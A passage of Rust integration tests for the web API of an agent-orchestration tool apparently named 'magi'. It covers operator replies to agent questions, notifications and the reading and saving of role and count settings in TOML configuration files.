12324 let id = ask(&fx, "No seat", &[]);
12325 let store = fx.questions();
12326 let before = std::fs::read(store.path_of(&id)).unwrap();
12327 let res = fx
12328 .post(
12329 &format!("/api/questions/{id}/say"),
12330 Some(r#"{"body":"hello"}"#),
12331 )
12332 .await;
12333 assert_eq!(res.status, 422, "{}", res.body);
12334 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12335 let res = fx
12336 .post(
12337 &format!("/api/questions/{id}/answer"),
12338 Some(r#"{"text":"hello"}"#),
12339 )
12340 .await;
12341 assert_eq!(res.status, 200, "{}", res.body);
12342 assert_eq!(
12343 store.get(&id).unwrap().resolution().as_deref(),
12344 Some("hello")
12345 );
12346 }
12347
12348 #[tokio::test]
12349 async fn saying_something_appends_a_turn_without_answering() {
12350 let fx = Fixture::start().await;
12351 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12352 fx.questions().beat(&id, ask::WaiterKind::Asker);
12353 let path = format!("/api/questions/{id}/say");
12354
12355 let res = fx
12356 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12357 .await;
12358 assert_eq!(res.status, 200, "{}", res.body);
12359 let body = res.json();
12360 assert_eq!(body["status"], "open", "talking back is not a decision");
12361 assert_eq!(body["answer"], Value::Null);
12362 assert_eq!(body["thread"][0]["who"], "operator");
12363 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12364 assert_eq!(body["waiting_on_agent"], true);
12365 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12367 }
12368
12369 #[tokio::test]
12370 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12371 let fx = Fixture::start().await;
12372 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12373
12374 let list = fx.get("/api/questions").await.json();
12375 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12376
12377 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12378 assert_eq!(res.status, 409, "{}", res.body);
12379 let q = fx.questions().get(&id).unwrap();
12380 assert!(q.status.open());
12381 assert!(q.consult.is_none());
12382 }
12383
12384 #[tokio::test]
12385 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12386 let fx = Fixture::start().await;
12387 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12388 let cfg = Config {
12389 agents: vec![crate::config::AgentSpec {
12390 id: "mock".to_owned(),
12391 kind: crate::config::AgentKind::Command,
12392 model: None,
12393 command: vec!["true".to_owned()],
12394 extra_args: Vec::new(),
12395 env: Default::default(),
12396 prompt_delivery: None,
12397 max_turn_secs: None,
12398 }],
12399 ..Config::default()
12400 };
12401 let talk = crate::talk::begin(
12402 &fx.talks(),
12403 &cfg,
12404 fx.home.path().to_path_buf(),
12405 Some("mock"),
12406 )
12407 .unwrap();
12408 let mut task = Task::new(
12409 "t".to_owned(),
12410 "Do it".to_owned(),
12411 PathBuf::from("/repo/magi"),
12412 Source::Agent {
12413 run: talk.id.clone(),
12414 node: crate::queue::CHAT_NODE.to_owned(),
12415 },
12416 );
12417 task.start("20260902-000000-beef".to_owned());
12418 fx.queue().put(&mut task).unwrap();
12419
12420 let list = fx.get("/api/questions").await.json();
12421 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12422 assert_eq!(
12423 list[0]["choices"],
12424 serde_json::json!(["SQLite", "Redis"]),
12425 "the hand-over is never a choice"
12426 );
12427 fx.questions()
12428 .update(&id, |q| {
12429 q.node = crate::land::APPROVAL_NODE.into();
12430 q.choices = vec!["merge".into(), "hold".into()];
12431 Ok(())
12432 })
12433 .unwrap();
12434 let list = fx.get("/api/questions").await.json();
12435 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12436 assert_eq!(list[0]["can_consult_chat"], true);
12437 fx.questions()
12438 .update(&id, |q| {
12439 q.node = crate::bump::NOTICE_NODE.into();
12440 Ok(())
12441 })
12442 .unwrap();
12443 let list = fx.get("/api/questions").await.json();
12444 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12445 assert_eq!(list[0]["can_consult_chat"], false);
12446 }
12447
12448 #[tokio::test]
12449 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12450 let fx = Fixture::start().await;
12451 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12452 fx.questions()
12453 .update(&id, |q| {
12454 q.node = crate::land::APPROVAL_NODE.into();
12455 q.choices = vec!["merge".into(), "hold".into()];
12456 Ok(())
12457 })
12458 .unwrap();
12459 let cfg = Config {
12460 agents: vec![crate::config::AgentSpec {
12461 id: "mock".to_owned(),
12462 kind: crate::config::AgentKind::Command,
12463 model: None,
12464 command: vec!["true".to_owned()],
12465 extra_args: Vec::new(),
12466 env: Default::default(),
12467 prompt_delivery: None,
12468 max_turn_secs: None,
12469 }],
12470 ..Config::default()
12471 };
12472 let repo = fx.home.path().join("chat-repo");
12474 std::fs::create_dir_all(&repo).unwrap();
12475 let toml = repo.join("magi.toml");
12476 std::fs::write(&toml, "this is = = not toml").unwrap();
12477 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12478 let mut task = Task::new(
12479 "t".to_owned(),
12480 "Do it".to_owned(),
12481 PathBuf::from("/repo/magi"),
12482 Source::Agent {
12483 run: talk.id.clone(),
12484 node: crate::queue::CHAT_NODE.to_owned(),
12485 },
12486 );
12487 task.start("20260902-000000-beef".to_owned());
12488 fx.queue().put(&mut task).unwrap();
12489
12490 let path = format!("/api/questions/{id}/consult");
12491 let res = fx.post(&path, None).await;
12492 assert!(res.status >= 400, "{}", res.body);
12493 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12494 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12495
12496 std::fs::write(&toml, "").unwrap();
12497 let res = fx.post(&path, None).await;
12498 assert_eq!(res.status, 202, "{}", res.body);
12499 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12500 let q = fx.questions().get(&id).unwrap();
12501 assert!(q.status.open());
12502 assert!(q.answer.is_none());
12503 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12504 assert_eq!(res.json()["can_consult_chat"], true);
12505 let list = fx.get("/api/questions").await.json();
12506 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12507 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12508
12509 let res = fx
12510 .post(
12511 &format!("/api/questions/{id}/answer"),
12512 Some(r#"{"choice":"hold"}"#),
12513 )
12514 .await;
12515 assert_eq!(res.status, 200, "{}", res.body);
12516 assert_eq!(res.json()["answer"]["choice"], "hold");
12517 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12518 assert_eq!(res.json()["can_consult_chat"], false);
12519 assert_eq!(fx.post(&path, None).await.status, 409);
12520
12521 let mut talk = fx.talks().get(&talk.id).unwrap();
12522 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12523 let list = fx.get("/api/questions").await.json();
12524 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12525 assert_eq!(list[0]["origin_chat_closed"], true);
12526 assert_eq!(list[0]["can_consult_chat"], false);
12527
12528 fx.talks().remove(&talk.id).unwrap();
12529 let list = fx.get("/api/questions").await.json();
12530 assert_eq!(list[0]["origin_chat"], Value::Null);
12531 assert_eq!(list[0]["origin_chat_closed"], false);
12532 assert_eq!(list[0]["can_consult_chat"], false);
12533 }
12534
12535 #[tokio::test]
12536 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12537 let fx = Fixture::start().await;
12538 let store = fx.questions();
12539 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12540 store.beat(&id, ask::WaiterKind::Asker);
12541 assert_eq!(
12542 fx.get("/api/health").await.json()["questions_needs_owner"],
12543 1
12544 );
12545
12546 let res = fx
12552 .post(
12553 &format!("/api/questions/{id}/say"),
12554 Some(r#"{"body":"why not Postgres?"}"#),
12555 )
12556 .await;
12557 assert_eq!(res.status, 200, "{}", res.body);
12558 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12559 assert_eq!(
12560 fx.get("/api/health").await.json()["questions_needs_owner"],
12561 0,
12562 "waiting on the agent is not waiting on the owner"
12563 );
12564
12565 let mut q = store.get(&id).expect("get");
12569 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12570 .expect("reply");
12571 store.put(&mut q).expect("put");
12572 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12573 assert_eq!(
12574 fx.get("/api/health").await.json()["questions_needs_owner"],
12575 1,
12576 "the agent's reply is what should light the banner back up"
12577 );
12578 }
12579
12580 #[tokio::test]
12581 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12582 let fx = Fixture::start().await;
12583 let store = fx.questions();
12584
12585 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12586 let res = fx
12587 .post(
12588 &format!("/api/questions/{empty_id}/say"),
12589 Some(r#"{"body":" "}"#),
12590 )
12591 .await;
12592 assert_eq!(res.status, 400, "{}", res.body);
12593
12594 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12595 let mut answered = store.get(&answered_id).expect("get");
12596 answered
12597 .answer(Answer::Choice("SQLite".to_owned()))
12598 .expect("answer");
12599 store.put(&mut answered).expect("put");
12600 let res = fx
12601 .post(
12602 &format!("/api/questions/{answered_id}/say"),
12603 Some(r#"{"body":"still there?"}"#),
12604 )
12605 .await;
12606 assert_eq!(res.status, 409, "{}", res.body);
12607
12608 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12609 let mut abandoned = store.get(&abandoned_id).expect("get");
12610 abandoned.abandon("timed out");
12611 store.put(&mut abandoned).expect("put");
12612 let res = fx
12613 .post(
12614 &format!("/api/questions/{abandoned_id}/say"),
12615 Some(r#"{"body":"still there?"}"#),
12616 )
12617 .await;
12618 assert_eq!(res.status, 409, "{}", res.body);
12619 }
12620
12621 #[tokio::test]
12622 async fn an_answer_the_question_does_not_offer_is_refused() {
12623 let fx = Fixture::start().await;
12624 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12625 let path = format!("/api/questions/{id}/answer");
12626
12627 for body in [
12628 r#"{"choice":"Postgres"}"#,
12629 r#"{"text":"whatever you think"}"#,
12630 r#"{"choice":"Redis","text":"both"}"#,
12631 r#"{}"#,
12632 ] {
12633 let res = fx.post(&path, Some(body)).await;
12634 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12635 assert!(res.json()["error"].is_string(), "{}", res.body);
12636 }
12637 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12639 }
12640
12641 #[tokio::test]
12642 async fn a_free_text_question_takes_text_and_not_a_choice() {
12643 let fx = Fixture::start().await;
12644 let id = ask(&fx, "What should the flag be called?", &[]);
12645 fx.questions().beat(&id, ask::WaiterKind::Asker);
12646 let path = format!("/api/questions/{id}/answer");
12647
12648 assert_eq!(
12649 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12650 400
12651 );
12652 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12653 assert_eq!(res.status, 200, "{}", res.body);
12654 assert_eq!(res.json()["answer"]["text"], "--json");
12655 }
12656
12657 #[tokio::test]
12658 async fn an_unknown_question_is_a_json_404() {
12659 let fx = Fixture::start().await;
12660 let res = fx
12661 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12662 .await;
12663 assert_eq!(res.status, 404, "{}", res.body);
12664 assert!(res.json()["error"].is_string());
12665 }
12666
12667 #[tokio::test]
12668 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12669 let fx = Fixture::start().await;
12670 let questions = Questions::at(fx.home.path().join("questions"));
12671 let store = Notices::at(fx.home.path().join("notifications"));
12672 let mut q = ask::Question::new(
12673 "t1".into(),
12674 "conduct".into(),
12675 "conductor".into(),
12676 "Continue?".into(),
12677 String::new(),
12678 Vec::new(),
12679 );
12680 questions.put(&mut q).unwrap();
12681 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12682 n.covered_by = Some(q.id.clone());
12683 let n = store.raise(n).unwrap();
12684 let listed = fx.get("/api/notifications").await.json();
12685 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12686 questions
12687 .update(&q.id, |q| {
12688 q.abandon("run gone");
12689 Ok(())
12690 })
12691 .unwrap();
12692 let listed = fx.get("/api/notifications").await.json();
12693 assert!(listed["items"][0]["answerable_question"].is_null());
12694 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12695 assert!(
12696 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12697 .unwrap()
12698 .contains("answerable_question")
12699 );
12700 }
12701
12702 #[tokio::test]
12703 async fn notifications_list_read_dismiss_and_health_agree() {
12704 let fx = Fixture::start().await;
12705 let store = Notices::at(fx.home.path().join("notifications"));
12706 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12707 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12708
12709 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12710 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12711
12712 store
12713 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12714 .unwrap();
12715 let health = fx.get("/api/health").await.json();
12716 assert_eq!(health["notifications_unread"], 2);
12717 assert_ne!(
12718 health["notifications_rev"], rev0,
12719 "the badge must move live"
12720 );
12721
12722 let listed = fx.get("/api/notifications").await.json();
12723 assert_eq!(listed["unread"], 2);
12724 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12725 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12726
12727 let read = fx
12728 .post(&format!("/api/notifications/{}/read", a.id), None)
12729 .await;
12730 assert_eq!(read.status, 200, "{}", read.body);
12731 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12732
12733 let gone = fx
12734 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12735 .await;
12736 assert_eq!(gone.status, 200, "{}", gone.body);
12737 let listed = fx.get("/api/notifications").await.json();
12738 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12739 assert_eq!(listed["unread"], 0);
12740
12741 store.raise(Notice::info("x", "again")).unwrap();
12742 let all = fx.post("/api/notifications/read-all", None).await;
12743 assert_eq!(all.status, 200, "{}", all.body);
12744 assert_eq!(all.json()["marked"], 1);
12745 assert_eq!(
12746 fx.get("/api/health").await.json()["notifications_unread"],
12747 0
12748 );
12749
12750 let missing = fx.post("/api/notifications/nope/read", None).await;
12751 assert_eq!(missing.status, 404, "{}", missing.body);
12752 assert!(missing.json()["error"].is_string());
12753 }
12754
12755 #[tokio::test]
12762 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12763 let f = Fixture::start().await;
12764
12765 let res = f
12766 .post(
12767 "/api/queue",
12768 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12769 )
12770 .await;
12771
12772 assert_eq!(
12773 res.status, 405,
12774 "POST /api/queue must not be a route: {}",
12775 res.body
12776 );
12777 assert!(
12778 f.queue().list().is_empty(),
12779 "a task filed by a route that does not exist must not reach the disk"
12780 );
12781 assert_eq!(f.get("/api/queue").await.status, 200);
12784 }
12785
12786 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12788 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12789 .expect("checkout dir");
12790 }
12791
12792 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12794
12795 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12796 let tmp = TempDir::new().expect("tempdir");
12797 let repo = tmp.path().join("repo");
12798 std::fs::create_dir_all(&repo).expect("repo dir");
12799 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12800 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12801 if let Some(text) = machine_toml {
12802 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12803 std::fs::write(&machine, text).expect("machine toml");
12804 }
12805 (tmp, repo, machine)
12806 }
12807
12808 async fn settings_checkout(path: &FsPath, text: &str) {
12809 std::fs::create_dir_all(path).unwrap();
12810 std::fs::write(path.join("magi.toml"), text).unwrap();
12811 for args in [
12812 vec!["init", "-b", "main"],
12813 vec!["add", "magi.toml"],
12814 vec![
12815 "-c",
12816 "user.name=Test",
12817 "-c",
12818 "user.email=test@example.invalid",
12819 "commit",
12820 "-m",
12821 "fixture",
12822 ],
12823 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12824 vec![
12825 "symbolic-ref",
12826 "refs/remotes/origin/HEAD",
12827 "refs/remotes/origin/main",
12828 ],
12829 ] {
12830 crate::git::git(path, &args).await.unwrap();
12831 }
12832 }
12833
12834 #[tokio::test]
12835 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12836 let (tmp, repo, machine) =
12837 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12838 let root = tmp.path().join("roots");
12839 let selected = root.join("host/owner/selected");
12840 settings_checkout(
12841 &selected,
12842 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12843 )
12844 .await;
12845 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12846 let before = std::fs::read(&machine).unwrap();
12847 let ui = Arc::new(
12848 Ui::new(
12849 Queue::at(tmp.path().join("queue")),
12850 Questions::at(tmp.path().join("questions")),
12851 Talks::at(tmp.path().join("talks")),
12852 tmp.path().join("runs"),
12853 tmp.path().to_path_buf(),
12854 repo.clone(),
12855 )
12856 .with_machine_config(Some(machine.clone())),
12857 );
12858 let query = || {
12859 Query(SettingsQuery {
12860 repo: Some(selected.clone()),
12861 })
12862 };
12863 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12864 assert!(v.error.is_none(), "{:?}", v.error);
12865 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12866 assert_eq!(conductor.source, "repo");
12867 assert_eq!(
12868 conductor.machine_value,
12869 Some(toml::Value::String("a".into()))
12870 );
12871 assert!(!conductor.editable);
12872 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12873 assert_eq!(
12874 judges.count.as_ref().unwrap().machine_value,
12875 Some(toml::Value::Integer(1))
12876 );
12877 assert!(
12878 !v.roles
12879 .iter()
12880 .find(|r| r.key == "reviewers")
12881 .unwrap()
12882 .editable
12883 );
12884 let unknown = || {
12885 Query(SettingsQuery {
12886 repo: Some(tmp.path().to_path_buf()),
12887 })
12888 };
12889 assert_eq!(
12890 settings_get(State(ui.clone()), unknown())
12891 .await
12892 .unwrap_err()
12893 .status,
12894 StatusCode::UNPROCESSABLE_ENTITY
12895 );
12896 let body = || {
12897 Ok(Json(RolesBody {
12898 revision: v.revision.clone(),
12899 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12900 counts: Default::default(),
12901 }))
12902 };
12903 assert_eq!(
12904 settings_put_roles(State(ui.clone()), unknown(), body())
12905 .await
12906 .unwrap_err()
12907 .status,
12908 StatusCode::UNPROCESSABLE_ENTITY
12909 );
12910 assert_eq!(std::fs::read(&machine).unwrap(), before);
12911 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12912 .await
12913 .unwrap();
12914 assert_eq!(
12915 saved.repo,
12916 selected.canonicalize().unwrap().display().to_string()
12917 );
12918 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12919 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12920 let fresh = root.join("host/owner/fresh");
12922 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12923 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12924 .await
12925 .unwrap();
12926 assert_eq!(fresh_view.repositories.len(), 3);
12927 }
12928
12929 #[tokio::test]
12930 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12931 let (tmp, repo, machine) = settings_dirs(
12932 "[roles]\nreviewers = [\"a\"]\n",
12933 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12934 );
12935 let root = tmp.path().join("roots");
12936 let selected = root.join("host/owner/selected");
12937 settings_checkout(
12938 &selected,
12939 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12940 )
12941 .await;
12942 let broken = root.join("host/owner/broken");
12943 settings_checkout(&broken, "[roles\nbroken").await;
12944 let machine_text = format!(
12945 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12946 toml::Value::String(root.display().to_string())
12947 );
12948 std::fs::write(&machine, &machine_text).unwrap();
12949 let originals: Vec<_> = [&repo, &selected, &broken]
12950 .iter()
12951 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12952 .collect();
12953 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12954 let default = f.get("/api/settings").await.json();
12955 assert_eq!(
12956 default["repo"],
12957 repo.canonicalize().unwrap().display().to_string()
12958 );
12959 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12960 let query = format!("?repo={}", selected.display());
12961 let res = f.get(&format!("/api/settings{query}")).await;
12962 assert_eq!(res.status, 200, "{}", res.body);
12963 let v = res.json();
12964 assert!(v["error"].is_null(), "{v}");
12965 assert_eq!(v["repositories"], default["repositories"]);
12966 let role = |key: &str| {
12967 v["roles"]
12968 .as_array()
12969 .unwrap()
12970 .iter()
12971 .find(|r| r["key"] == key)
12972 .unwrap()
12973 };
12974 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12975 assert_eq!(role("advisors")["source"], "repo");
12976 assert_eq!(role("advisors")["editable"], false);
12977 assert!(role("advisors")["machine_value"].is_null());
12978 assert_eq!(role("judges")["count"]["value"], 2);
12979 assert_eq!(role("judges")["count"]["machine_value"], 1);
12980 assert_eq!(role("judges")["count"]["source"], "repo");
12981 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12982 assert!(
12983 source.contains("origin/main") && !source.contains("magi/config/"),
12984 "{source}"
12985 );
12986 assert_eq!(
12987 role("reviewers")["editable"],
12988 false,
12989 "default context outside roots must protect its declarations"
12990 );
12991 let body =
12992 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12993 let unknown = format!("?repo={}", tmp.path().display());
12994 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12995 assert_eq!(
12996 f.put(&format!("/api/settings/roles{unknown}"), &body)
12997 .await
12998 .status,
12999 422
13000 );
13001 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13002 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13003 .to_string();
13004 assert_eq!(
13005 f.put(&format!("/api/settings/roles{query}"), &refuse)
13006 .await
13007 .status,
13008 422
13009 );
13010 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13011 assert_eq!(saved.status, 200, "{}", saved.body);
13012 assert_eq!(saved.json()["repo"], v["repo"]);
13013 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13014 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13015 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13016 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13017 }
13018 let error = f
13019 .get(&format!("/api/settings?repo={}", broken.display()))
13020 .await;
13021 assert_eq!(error.status, 200);
13022 assert!(error.json()["error"]["message"].is_string());
13023 assert_eq!(error.json()["repositories"], default["repositories"]);
13024 }
13025
13026 #[tokio::test]
13027 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13028 let (_tmp, repo, machine) =
13029 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13030 let f = Fixture::with_repo_and_machine(repo, machine).await;
13031 let res = f.get("/api/settings").await;
13032 assert_eq!(res.status, 200, "{}", res.body);
13033 let v = res.json();
13034 assert!(v["error"].is_null(), "{v}");
13035 let role = |k: &str| {
13036 v["roles"]
13037 .as_array()
13038 .and_then(|r| r.iter().find(|x| x["key"] == k))
13039 .cloned()
13040 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13041 };
13042 assert_eq!(role("judges")["source"], "machine");
13043 assert_eq!(role("judges")["editable"], true);
13044 assert_eq!(role("implementers")["source"], "default");
13045 let adv = role("advisors");
13046 assert_eq!(adv["fallback"], "judges");
13047 assert!(
13048 adv["seats"]
13049 .as_array()
13050 .is_some_and(|s| s.iter().all(|x| x == "b")),
13051 "{adv}"
13052 );
13053 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13054 assert_eq!(v["agents"][0]["source"], "repo");
13055 }
13056
13057 #[tokio::test]
13058 async fn settings_get_reports_a_config_that_does_not_parse() {
13059 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13060 let f = Fixture::with_repo_and_machine(repo, machine).await;
13061 let res = f.get("/api/settings").await;
13062 assert_eq!(res.status, 200, "{}", res.body);
13063 let v = res.json();
13064 assert!(v["error"]["message"].is_string(), "{v}");
13065 assert!(
13066 v["error"]["path"]
13067 .as_str()
13068 .is_some_and(|p| p.ends_with("magi.toml")),
13069 "{v}"
13070 );
13071 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13072 }
13073
13074 #[tokio::test]
13075 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13076 let (_tmp, repo, machine) = settings_dirs(
13077 SETTINGS_AGENTS,
13078 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13079 );
13080 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13081 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13082 let rev = f.get("/api/settings").await.json()["revision"]
13083 .as_str()
13084 .expect("revision")
13085 .to_owned();
13086 let body = serde_json::json!({
13087 "revision": rev,
13088 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13089 })
13090 .to_string();
13091 let res = f.put("/api/settings/roles", &body).await;
13092 assert_eq!(res.status, 200, "{}", res.body);
13093 let text = std::fs::read_to_string(&machine).expect("machine");
13094 assert_eq!(
13095 text,
13096 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13097 );
13098 assert_eq!(
13099 std::fs::read(repo.join("magi.toml")).expect("read"),
13100 repo_before
13101 );
13102 let again = f.get("/api/settings").await.json();
13103 let judges = again["roles"]
13104 .as_array()
13105 .expect("roles")
13106 .iter()
13107 .find(|r| r["key"] == "judges")
13108 .expect("judges")
13109 .clone();
13110 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13111 let stale = f.put("/api/settings/roles", &body).await;
13113 assert_eq!(stale.status, 409, "{}", stale.body);
13114 }
13115
13116 #[tokio::test]
13117 async fn settings_counts_are_reported_and_saved() {
13118 let (_tmp, repo, machine) = settings_dirs(
13119 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13120 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13121 );
13122 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13123 let v = f.get("/api/settings").await.json();
13124 let count = |v: &serde_json::Value, k: &str| {
13125 v["roles"]
13126 .as_array()
13127 .and_then(|r| r.iter().find(|x| x["key"] == k))
13128 .map(|x| x["count"].clone())
13129 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13130 };
13131 let imp = count(&v, "implementers");
13132 assert_eq!(imp["value"], 2);
13133 assert_eq!(imp["source"], "machine");
13134 assert_eq!(imp["file_key"], "candidates");
13135 assert_eq!(imp["roster_len"], 2);
13136 assert_eq!(imp["backups"], 0);
13137 assert_eq!(count(&v, "judges")["source"], "default");
13138 assert_eq!(count(&v, "advisors")["min"], 0);
13139 assert_eq!(count(&v, "reviewers")["editable"], false);
13140 assert!(
13141 count(&v, "reviewers")["locked_reason"]
13142 .as_str()
13143 .is_some_and(|m| m.contains("graph.reviewers"))
13144 );
13145 assert!(count(&v, "fixer").is_null());
13146 let rev = v["revision"].as_str().expect("revision").to_owned();
13147 let body = serde_json::json!({
13148 "revision": rev,
13149 "roles": { "judges": ["b"] },
13150 "counts": { "implementers": 1, "advisors": 0 }
13151 })
13152 .to_string();
13153 let res = f.put("/api/settings/roles", &body).await;
13154 assert_eq!(res.status, 200, "{}", res.body);
13155 let text = std::fs::read_to_string(&machine).expect("machine");
13156 assert_eq!(
13157 text,
13158 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13159 );
13160 let after = f.get("/api/settings").await.json();
13161 assert_eq!(count(&after, "implementers")["value"], 1);
13162 assert_eq!(count(&after, "implementers")["backups"], 1);
13163 assert_eq!(count(&after, "advisors")["value"], 0);
13164 let before = std::fs::read_to_string(&machine).expect("machine");
13165 let rev = after["revision"].as_str().expect("revision").to_owned();
13166 for counts in [
13167 serde_json::json!({ "judges": 0 }),
13168 serde_json::json!({ "judges": "x" }),
13169 serde_json::json!({ "judges": 2.5 }),
13170 serde_json::json!({ "judges": -1 }),
13171 serde_json::json!({ "reviewers": 3 }),
13172 serde_json::json!({ "bogus": 3 }),
13173 ] {
13174 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13175 let res = f.put("/api/settings/roles", &body).await;
13176 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13177 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13178 }
13179 }
13180
13181 #[tokio::test]
